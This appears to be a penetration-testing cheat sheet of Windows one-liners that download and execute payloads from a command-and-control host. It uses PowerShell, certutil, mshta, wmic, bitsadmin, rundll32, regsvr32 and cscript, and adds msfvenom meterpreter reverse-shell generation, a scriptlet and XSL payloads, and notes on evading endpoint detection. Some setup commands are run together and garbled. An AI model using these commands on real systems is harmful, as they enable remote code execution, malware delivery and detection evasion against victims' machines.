Single line commands to download and execute malicious code are useful for a number of reasons;

• To exploit web application vulnerabilities, such as shell command injection
• When you have the ability to execute commands, but not directly copy files (via WMI for instance)
• To embed in other attack packages, such as Macro based malware or USD HID attacks

Having multiple techniques is useful, as endpoint detection and response systems will typically use pattern matching rules to detect some of these.

PowerShell

Very likely to be detected by EDR solutions.

owershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(‘http://www.c2server.co.uk/script.ps1’);

Proxy Aware Version

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://c2server.co.uk/script.ps1')|iex"

Base64 Encoded

Powershell -W Hidden -nop -noni -enc <base64 text>

Payload Generation

To base64 encode PowerShell scripts, use:

iconv -f ASCII -t UTF-16LE powershellscript.txt | base64 | tr -d "\n"

Certutil

Windows Defender picks up on this technique.

certutil -urlcache -split -f http://www.c2server.co.uk/bg.exe bg.exe && bg.exe.

MSHTA

mshta http://www.c2server.co.uk/script.hta

WMIC

Windows Defender picks up on this technique.

wmic os get /format:"http://www.c2server.co.uk/stylesheet.xsl"

Payload Generation

Stylesheet to load calc.exe:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:script language="VBScript">
<![CDATA[Set shl = CreateObject("Wscript.Shell")Call shl.Run("""calc.exe""")]]>
</xsl:script><
xsl:template match="/">
<xsl:apply-templates select="//RESULTS"/>
<xsl:apply-templates select="//INSTANCE"/>
<xsl:eval no-entities="true" language="VBScript">DisplayValues(this)</xsl:eval>
</xsl:template>
<xsl:template match="RESULTS">
<xsl:eval no-entities="true" language="VBScript">CountResults(this)</xsl:eval>
</xsl:template>
<xsl:template match="INSTANCE">
<xsl:eval language="VBScript">GotInstance()</xsl:eval>
<xsl:apply-templates select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"/></xsl:template></xsl:stylesheet>

Bitsadmin

bitsadmin /rawreturn /transfer payload http://www.c2server/bg.exe %cd%\bg.exe && bg.exe

If you get an error like 0x80070057, this may be because the output path is incorrectly specified, or isn’t writable.

Rundll32

rundll32 \\webdavserver\folder\payload.dll,DLLMain

Payload Generation

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f DLL > /var/www/webdav/payload.dll

Regsvr32

Windows Defender picks up on this technique.

regsvr32 /u /n /s /i:http://www.c2server.co.uk/test.html scrobj.dll

Payload Generation

Contents of test.html:

<?XML version="1.0"?>
<scriptlet>
<registrationprogid="foo"classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[var r = new ActiveXObject("WScript.Shell").Run("cmd /k echo bordergate_test");]]>
</script>
</registration>
</scriptlet>

Cscript

This requires reading a file from a WebDav share:

cscript //E:vbscript \\www.c2server.co.uk\webdav\test.vbs

WebDav Share Configuration in Kali

sudo apt install -y davfs2sudo a2enmod davsudo a2enmod dav_fssudo 
mkdir /var/www/webdavsudo 
chown -R www-data:www-data /var/www/

Edit Apache Config File

/etc/apache2/sites-available/000-default.conf

Add to top of file:

DavLockDB /var/www/DavLock

Add to VirtualHost section:

Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
</Directory>

Testing

cadaver http://127.0.0.1/webdav

Generate VBS Meterpreter

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f vbs --arch x86 --platform win